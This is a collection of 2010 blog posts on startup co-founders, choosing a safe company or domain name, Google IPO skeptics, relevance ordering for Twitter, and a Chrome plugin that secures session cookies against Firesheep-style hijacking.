- **Branding** – You do not need to be a genius designer to come up with a brand. [See my recent post here about naming a product or company](http://nikcub.appspot.com/guide-to-finding-a-good-and-safe-company-or-product-name). Sites like [99designs](https://99designs.com) will let you buy a design from a selected freelancer from dozens of prospective designers bidding for your work. Spending some money and making a financial commitment in the form of a domain name, a logo and a brand also demonstrates that you are committed to the startup idea.
All of this work will help you in convincing a potential technical co-founder that you have what it takes to do the non-technical work necessary. You have some skin in the game (both time and financially) and you aren't simply trying to find a dev who will do all the work (from their point of view).
## Learning enough code
Triple-threats in the startup world are rare. I classify a triple-threat as an entrepreneur who has the combined skill base of being technical, knowing how to market a product and running the operations side of a business. These three roles are critical in an early-stage company, so if a non-technical co-founder can bring two of them to a startup while also being able to bridge the communications to technical people, you will be in a much better position.
You do not need to know how to build the product yourself – you just need to know the difference between Django and RubyOnRails, the different cloud computing platforms and the pros and cons of each (or at least the terminology). Your last resort if you are not able to find a technical co-founder is to step through the numerous tutorials and books available and learning to build a prototype yourself, or better yet, find a contract developer to do it for you. It is always easier to learn how to code when you have a product goal in mind, rather than just churning through dozens of mundane examples.
It is also unreasonable to believe that you can become a competent developer in 24 hours or a week (as some books may lead you to believe), so it requires patience on your part and dealing with frustration when your application is not responding in the way you think it should be.
The better option though, covered below, is to find a contract developer to build your prototype for you.
## Prototype
In terms of learning technical skills, there is no solid advice to go one way or another – if you can't find a technical co-founder then learning to assemble a prototype (or better yet, finding a cheap developer to do it for you) will help you in attracting a potential co-founder (this along with your product and marketing work).
There are a number of freelance sites where you can find developers who will work on a contract basis and will build your product prototype to a spec. The first note here is that with many of these sites and with many of the developers you find, the success rate of the project will largely depend on how good your specification is. Begin by placing a project with a 2-3 paragraph description, but have a full detailed product description and wireframe ready to send to serious bidders.
Andrew Warner of Mixergy [conducted an excellent interview](https://mixergy.com/free-apps-interview/) yesterday with an iPhone application development firm who have developed almost a dozen iPhone apps using online contract workers. They do the spec and marketing work and are seeing $80k a month in revenue, so a successfull relationship with contract development work is very possible.
The sites to consider to find potential developers are:
- [Elance](https://www.elance.com) – This is the original offshore/contract development site and has been around since the late 90s. I first used this site over 10 years ago and have had very successful results finding developers and contractors in other fields such as SEO, marketing, etc. You will need to signup as a purchaser which requires a subscription of a few hundred dollars, but the quality of contracts available is generally high. Be wary of the generic response templates (ie. those who reply with a boilerplate response of 'yes we can do this') and narrow down to those who have read your description and have written a bespoke response/proposal.
- [Odesk](https://www.odesk.com) – I have less experience with oDesk – but I have found good developers on the site. It is worth subscribing and browsing the categories and the developers.
- [Rent-a-coder](https://www.rentacoder.com) and [Guru](https://www.guru.com) – These sites, and the millions of others like them, are in a different category. The average quality of contractor is lower than Elance or ODesk, and you will need to work harder to find good developers on these sites, but they do exist. The extra effort you put in to find good developers here can be worth it as you could uncover some gems who are less established but are cheaper. One of the longest running dev relationships I had was a small firm I found on one of these sites and they ended up being very good.
You will need to project manage the developers you find, and invest in the order of $1000-3000 for a prototype. The combination of having the market research done, the beginnings of business development work with potential partners, your branding, a product plan and now a simple prototype is more than enough to attract even the best technical co-founders and other core team members (and even to attract funding).
## Evaluating a technical co-founder
As a non-technical person it is difficult to evaluate a technical co-founder. One you have a candidate, ask a technical friend to evaluate their skills. Be careful with how you approach this, as technical people can be touchy and sensitive about being queried on their skills, especially by a non-technical person.
Approach the task like you would with hiring and speak to references from previous employers, and speak to prior co-workers (approach it casually). Get a feel for their technical capabilities by looking at any projects they have released or built in the past (there is no better indicator than released code – a surprising number of technical people have never actually shipped code that is used by other people.)
It is fair to question their commitment, such as if they are planning on keeping their full-time job while working on a startup part-time (apparently this is a red flag to YCombinator, and it probably should be). By this point you should have demonstrated your own commitment by following the steps above, so it is fair to ask a potential technical co-founder to do the same. If in doubt, pass on the opportunity and move on to find somebody else.
Once you have put in the effort and found a potential technical co-founder, be generous with equity distribution. Co-founders are partners, and you want to address the question of equity split and be done with it sooner rather than later. Not settling the question of equity while working on the company is a ticking time-bomb.
With a good technical co-founder and all the other initial work you have done, you should be close to releasing a preview of your product and/or being ready to raise money or start charging initial customers and bringing in revenue. The process isn't easy – but if it was, (_warning: cliche ahead_) then everybody would be doing it.
---
# Guide to Finding a Good and Safe Company or Product Name
*2010-11-04*
I enjoy the process of coming up with a new product or project name and finding a domain. I am currently in the process of doing this with my new startup (still negotiating the domain), and have gone through the process at least a dozen times in the past.
Here are some basic rules that I go by, as well as some tips and tools.
## Basic Rules
- **Pronounceable** – The 'crowded bar' situation. The brand should be easily spelt and pronounceable.
- **Domain** – The .com is available, or can be purchased (there are exceptions here, but .com is easier).
- **Unique** – A name that is unique, so that you aren't competing with other services for a simple search of your name.
- **Defensible** – Meaning little competition in search for the name, have the .com (and other TLDs) and the trademark.
- **Memorable** – A name that is memorable and somehow either related to what the service does or the field it is in.
## Uniqueness
The easiest way to come up with a name that possibly has the .com domain available is to concatenate two words. eg. 'image' and 'barn', 'farm', 'place', etc. Take a primary word that is related to your field, and a secondary word which you iterate on by using a thesaurus. Try the various combinations until you hit a name that is available.
Do a Google search for the name and find if there is an existing product or company with the same name in your space ('space' as defined by the USPTO – see 'tools' below). You can gauge the strength of the current top result by searching for `link:domain.com` replacing domain.com with the domain name of the top result or the full URL of the top result. If it only has a dozen or so inbound links, you should be able to take the top spot with little effort (especially if the product name is not mentioned in the page title).
The best result would be that a search for your product name returns very little, and that Google or Bing struggle to find relevant or related pages.
There are a number of sites that can generate a name using the above technique. If you google for 'product OR company name generator' you will find a bunch more:
- [Thesaurus.com](https://thesaurus.com) – Find an alternate words to use
- [NameBoy](https://nameboy.com) – Generate a name and check TLDs
- [Name Generator](https://www.company-name-generator.com/) – name generator.
- [web 2.0 name generator](https://www.dotomator.com/web20.html)
## Defensible
This means a trademark, and/or the top domain name(s). Find links to do a trademark search below in 'tools'.
[MarkMonitor](https://markmonitor.com/) is a commercial organization that handles trademarks and domain names for large organizations across the whole world. They have a near-monopoly on this service at the top end, and clients include Apple and Microsoft. If you are a large global org (or plan to be) and can justify the cost, they are a one-stop shop for name protection.
## Social Media
It is expected that your new company and product will have a presence on the usual mob of social networking sites – namely, Twitter, Facebook et al. There are tools available that will check your prospective name against each of these social networks and find if it is available.
These tools allow you to check all the social media sites:
- [Knowem](https://knowem.com/) – Checks 400 (!) sites
- [Namechk](https://namechk.com/) – Checks a bunch of sites (I found some bugs with short names)
- [Usernamecheck](https://www.usernamecheck.com/) – Checks the top 20 sites
## Domain Name
The following tools will help you find a domain name (more in 'tools' below):
- [InstantDomainSearch](https://instantdomainsearch.com/) – Instantly check the top TLDs
- [EuroDNS search](https://www.eurodns.com/domain-name-search/) – search every TLD for a name
For registering a domain, GoDaddy is the cheapest but you have to put up with their upsell (I once accidentally purchased hosting) and terrible management interface. The best combination for domain registration and then DNS hosting is joker.com and EasyDNS. I have been using the two of them for over ten years now, and couldn't be happier:
- [Joker](https://joker.com/) – Domain registration. Simple interface and pricing in multiple currencies
- [EasyDNS](https://www.easydns.com/) – Pricey, but excellent DNS hosting with wildcard support, email forwarding, and more.
## Buying vs Registering
There are pro's and con's in purchasing vs registering. It is cheaper to register, but you are penalized by the search engines since the domain is an unknown quantity.
Search engines will trust domains that have been registered for longer. New domain registrations are placed in the Google sandbox for up to 12 months, which means it could be impossible to find your website if you search for related keywords (there are ways out of this, mainly to open an adwords account and to spend money).
The problem with purchasing a domain may be that it has a poor history, which we will go over below. If you purchase a new name, it is important to quickly establish the domain as a trusted site by gaining relevant inbound links.
## Buying
If you find a domain name that is already registered but it only contains ads on it (ie. is dormant) and wish to approach the owner, the easiest way is to visit the domain and look for a for sale link. The next step is to perform a whois lookup and to find a contact email (go to `whois.sc/` eg. `https://whois.sc/thedomain.com`).
If there is more than one email address on the record, send your email to all of them. Even though many domain hoarders keep their domains registered privately, the response rate to emails is high. Your email to the domain owner should be as simple as:
_Hi, I notice that you own the domain domainiwant.com. I found this email address contact in the whois record. I am currently working on a new product and think that the domain would be perfect for it – would you be interested in selling it to me? I am not funded but I could offer a few hundred dollars. Please let me know if you are interested. Regards, Me_
You can leave out the line about a few hundred dollars, but a generic word plus word domain with no inbound links or SEO history is usually worth up to $500. A lot of domain owners are delusional and think their domains are worth 5-figures or more because it has the word 'web' in it, or something similar – just move on from these people an find an alternate – some will even come around.
If the name is a very short single-word, you can negotiate the option of the domain owner either leasing the domain to you or taking stock or options in exchange for the name. I believe mint.com did the later. In either case put together a contract via a lawyer or by finding one online in one of the many repositories of generic contracts. A leasing rate should be the value of the domain divided by 60 or 48 (5 years or 4 years, in months). A stock option rate should be at a markup, but not too much. 1.5-4% is reasonable (for 4% it should be a good single-word generic name, such as mint.com).
## Domain SEO and Safety
Once you have a name that is either available or that you are going to purchase from somebody, you need to make certain that it has not been blacklisted by Google or other services. You can also check the current SEO status. Starting with no ranking is fine, but starting with a negative ranking is an impediment that could be difficult to move out of.
To check if a domain has been blacklisted on Google, use the [Google Blacklist Checker](https://vebtools.com/google-banned-checker/). Plug the domain name in, fill in the verification and you get a simple yes/no. [Vebtools.com](https://vebtools.com/) provide a number of other excellent tools that you can use to check the existing page rank of the site, inbound links, etc.
Use the wayback machine at [archive.org](https://archive.org) to check what the previous content on the domain was. If you find porn, affiliate links or anything that looks like spam, there is a chance that the site may be on other blacklists.
Check indexing status by searching Google for `site:domainname.com`
There are a number of blacklists in use by browsers to check if a domain name is safe for visitors (these are different to the email blacklists and are used for actual sites). Getting a site listed on these blacklists is easy, getting them off is not. Google maintains a blacklist used in Chrome, but there are a number of others (mostly run by the anti-virus companies). Search the Google safe browsing list using:
`https://www.google.com/safebrowsing/diagnostic?site=http://domain.com/`
Replace `domain.com` in the URL with the domain you want to search.
You should also check the domain against the following databases of bad domains:
- [McAfee SiteAdvisor](https://www.siteadvisor.com)
- [hosts-file.net](https://hosts-file.net/)
- [Norton Safeweb](https://safeweb.norton.com/)
- [PhishTank](https://www.phishtank.com/)
_Note: I can't believe there isn't a service that scans all 12+ major malware DB's at once, if you know of one let me know (the exploit kits have blacklist lookups). There are also a lot of discrepencies between lists_
**Tools**
- [Tess](https://tess2.uspto.gov/) – USPTO trademark search
- [EuroDNS search](https://www.eurodns.com/domain-name-search/) – search every TLD for a name
- [Instant Domain Search](https://instantdomainsearch.com) – Search the three major TLDs instantly to find an available domain
- [Nxdom](https://www.nxdom.com/) – Find available domain names that begin or end with a word
- [Moniker](https://www.moniker.com/domainname.jsp) – search obscure TLDs
- [NameBoy](https://nameboy.com) – Generate a name and check TLDs
- [Thesaurus.com](https://thesaurus.com) – Find an alternate word to use
- [Domaintools](https://www.domaintools.com) – Lookup a domain, find owner, email them (you can just type whois.sc/ into your address bar for a quick lookup).
- [Sedo](https://sedo.com) – Probably the largest domain aftermarket.
- [NameJet](https://www.namejet.com/) – Another domain aftermarket.
- [Name Generator](https://www.company-name-generator.com/) – name generator.
- [web 2.0 name generator](https://www.dotomator.com/web20.html)
- [VebTools](https://vebtools.com/) – Check the pagerank, indexing and a hundred other variables about a site or domain
---
# The Google IPO Skeptics
*2010-11-03*
The market cap of Google today is $196 Billion. The company has grown to become one of the largest and most influential technology companies of all time. It is difficult to imagine, but there was a time where many were skeptical of Google and its potential to be successful. In August of 2004, in the leadup to the Google IPO, the New York Times published an article titled: [“Loving Google but not its public offering”](https://www.nytimes.com/2004/08/06/business/technology-loving-google-but-not-its-public-offering.html).
The summary of the story is that Silicon Valley was sceptical about Google, and a number of industry experts were cited as sources of the scepticism. From the article:
> “those who bought the shares in the auction or in the early days of trading were likely to lose money” — Mitch Kapor
> “I'm not buying,” – Woz
> “I wouldn't be buying Google stock, and I don't know anyone who would” — Jerry Kaplan
Mr. Kaplan said he had warned his mother not to buy Google stock.
John Gage, director of the science office at Sun Microsystems, said he intended to place a bid for several shares, for sentimental reasons.
Far worse for the company would be if the bear market forced the company to withdraw its stock offering altogether.
A single source supportive of the company, Randy Komisar of KPCB (A Google investor). At the time Google was well entrenched as the search leader and was profitable. The problem was that nobody believed that search would ever become a viable long-term business.
In its early days, Google obfuscated its revenue figures to prevent competitors from noticing the market and competing with it in search (namely Microsoft). It seems that it did such a good job that they convinced almost everybody that there is no business in search, even as late as its IPO.
This all seems so obvious today, but it was not so at the time. New and profitable markets are often hard to explain and see, and even harder to believe in. If they weren't, then building new billion-dollar opportunities would be easy and everybody would be doing it. But almost every new large market opportunity in technology is [met](https://37signals.com/svn/posts/2585-facebook-is-not-worth-33000000000) [with](http://crastinate.com/2008/07/07/dont-believe-the-twitter-hype/) [skepticism](https://venturebeat.com/2009/10/14/ea-exec-says-social-gaming-bubble-resembles-mobile-games-hype/).
In five or ten years time the opinions of these experts will be forgotten again – nobody will remember the criticism from today because multi-billion dollar [Facebook](https://crunchbase.com/company/facebook), [Twitter](https://www.crunchbase.com/company/twitter), [Zynga](https://www.crunchbase.com/company/zynga), et al will seem so _obvious_ that nobody could possibly have ever doubted it.
---
# Relevance Time for Twitter
*2010-10-29*
A little over a year ago on Techcrunch I wrote [Relevance over Time](https://techcrunch.com/2009/10/12/relevance-over-time/), a post about how the default view of chronological ordering of messages in applications was not suited to the web, where applications now have enough gestures from users to be able to sort by relevance.
Chronological ordering in Twitter, Facebook, Gmail, blogs etc. is baggage carried over from old computer networks and time-share systems.
I wrote:
> A chronological system for indexing information breaks down quickly once the amount of information received reaches a certain critical point. Active users of email constantly moan about the information overload they experience, and the information is only a load because it is difficult to sort through and manage in modern systems. According to the cognitive theory of choice complexity, that feeling of load multiplies with each incremental increase in choices and decisions having to be made. In the email world this leads to a complete breakdown, and the trend of email bankruptcy (deleting all email and starting again).
and
> Chronological order needs to be abandoned in favor of relevance. Without relevance, our ability to manage large sets of information is inefficient. The technology for relevance exist today, for eg. spam filters are able to tell us what we definitely don’t want to read.
I recall the post being born out of frustration. The social networking services and other web applications collected and logged almost every gesture I made on the web – from liking something to deleting an email. That information was being used to better target ads at me (Russian brides – thank you Facebook) benefiting the app publisher, but it was not being used to benefit me – namely in the form of being able to view my data by relevance and in-turn increasing my productivity.
In the year following that post, Facebook switched the default news feed view to one based on relevance and Gmail launched priority inbox – a new view of email based on relevance (that works so damn well, and as [Fred Wilson points out](https://www.avc.com/a_vc/2010/10/the-impact-of-priority-inbox.html) perhaps too well). Some larger blogs are beginning to abandon the chronological view, such as the new [Gawker beta](https://beta.gawker.com) (and it was also something I prototyped while at Techcrunch). The past 12 months has seen a complete shift away from the old of chronological order to the new of relevance powered by user gestures.
There is a single large service that is currently lagging in this field, and it is the one service that suffers greatly from information overload and an over-reliance on time, and that is Twitter. The average tweet amongst the users that I follow is usually not time sensitive – what interests me is more likely to be a link to a blog post or a conversation on a tech issue, not a tweet about where somebody is at a particular time. My scroll-back rate on Twitter is very low, in the order of 2-3 hours worth of messages at the most. I expect that I am not unique amongst users in this case – and I expect that most tech users of Twitter have an even lower scroll-back window, especially since the average number of people being followed by the tech early adopters has steadily increased over time.
The number of people an average user follows steadily increases over time, resulting in more messages and shorter scroll-back windows – meaning that the number of tweets actually being read as a proportion of all tweets would be steadily decreasing, despite more users. A lot of good content goes unnoticed. This is a situation begging for a relevance ordering solution.
Such a solution may seem to cut at the core of what Twitter is, but I feel it is inevitable that the company will end up somehow sorting tweets by relevance (or a hybrid thereof). I was hoping that New Twitter was a relevance solution, and not a redesign. The lack of action to-date opens an opportunity for an enterprising developer to build a solution, and perhaps sell it back to Twitter (the precedent is search). A third-party solution would not have access to the gestures that Twitter see, but a solution using the remaining variables (ie. most popular users, most favorited, most re-tweeted, time spent on screen, age of relationship, etc.) should be enough data for a rough cut.
With a relevance solution to Twitter, it also raises the specter of dynamic follow lists. ie. A very good and relevant tweet from somebody who I do not directly follow, but who may be 2 degrees away from me, could creep into my feed. This means that a new account on Twitter could seed their feed with some initial interesting account, or interesting Tweets, and the feed will dynamically shift itself and pick up what is most relevant to the user (solving the Twitter bootstrap problem as well)[^1]. The logic to this is not so overly complicated that it can not be achieved at scale, even for a third-party solution.
Twitter is one of the last remaining services from my post last year that are still in a chronological world, but the new opportunities that arise from the company potentially approaching a relevance-based default view are more exciting than either Gmail, Facebook or blogs.
[^1]: After watching an episode of one of the daily talk shows (Oprah or The View, or whatever), my mother, to my amazement, asked me to 'get her a Twitter'. She imagined 'Oprah on Twitter' or 'Ellen on Twitter' being more like a TV channel or network, rather than what it is now with signing up, profile, subscribe → search → subscribe → search etc.
---
# Fidelio - A browser plugin for secure web browsing
*2010-10-27*
A Firefox plugin called [Firesheep](https://github.com/codebutler/firesheep) was released this week. It allows users to hijack sessions sniffed from WiFi or other network through simple point and click. Session hijacking is a well understood security risk, but the script kiddie nature of Firesheep has caused a lot of response and reactions. Website developers and administrators are scurrying to implement measures to prevent the Firesheep attack vector – with solutions ranging from forcing SSL for all requests through to a second, alternate, secure cookie being set.
User sessions in web applications are usually tracked using a cookie. HTTP is a stateless protocol, meaning that between requests the server has no idea who the client is without a unique identifier. A cookie is a very simple tracking mechanism. The server will set a cookie by giving the client a long unique key which the client will send back with each subsequent request, allowing the server to identify the client and keep track of state. A user will login with a username and password, and in exchange will be given a session identifier to send back with each request.
Firesheep works by reading this unique identifier over the network (packet sniffing) and then replaying the request to access the users account. If you have a session identifier, you don't need a users password, you are the user.
Prior to Firesheep, session hijacking was a very real threat, but it was never as easy to exploit as it is with Firesheep.
## Fidelio
_[Image unavailable - Skitch service discontinued]_
Amongst all the fuss around Firesheep a lot of blog posts and comments were made with recommendations on what users can do to prevent against this attack. The most common suggestion was some form of browser plugin that forces the browser to request websites using SSL, such as the Firefox plugin [Force-TLS](https://addons.mozilla.org/en-US/firefox/addon/12714/).
The problem with some of these plugins is that the initial request is still made over plain HTTP. They only switch over to HTTPS once the first request has been made. A second problem is that some do not protect requests that are made as part of widgets or share buttons embedded on other sites, such as Facebook like buttons (which send your session identifier as part of the request so that it can show you friends who have liked the item).
My solution is a browser plugin I call [Fidelio](https://github.com/nikcub/fidelio). It is currently only available for Chrome, as I have only spent a few hours working on it so far.
Fidelio does the following:
- For sites that the user sets up to secure (Facebook and Twitter by default), it will redirect requests to HTTPS.
- It will intercept and rewrite requests that are embedded in other web pages, such as Facebook like buttons.
- Most important, it will detect, read and re-write your **existing** session cookies and will set the secure flag, which means that the cookies will only ever be sent over an HTTPS connection.
- It allows the user to add any other domain to the list of secured/protected sites, from which point all requests to that site from anywhere will be made over SSL, and all cookies will be secured.
Some sites may break, but I have yet to find any. No information is leaked, because of the cookie method. At worst you will have to re-login to the sites that you add.
## Install
The plugin can be installed with a single click on this URL: **project taken down**
It will auto-update with new features (and I have some planned). To add additional sites, go to the Chrome extensions page (Window -> Extensions) and click on the options page next to the extension listen. Add a domain (such as amazon.com, bofa.com etc.) and browse to the site.
If you are interested in the source code, it is [available on GitHub](https://github.com/nikcub/fidelio) (BSD licensed).
Issues or bugs can be [logged on GitHub](https://github.com/nikcub/fidelio/issues) and you can send me feedback by email (see [about](/about)).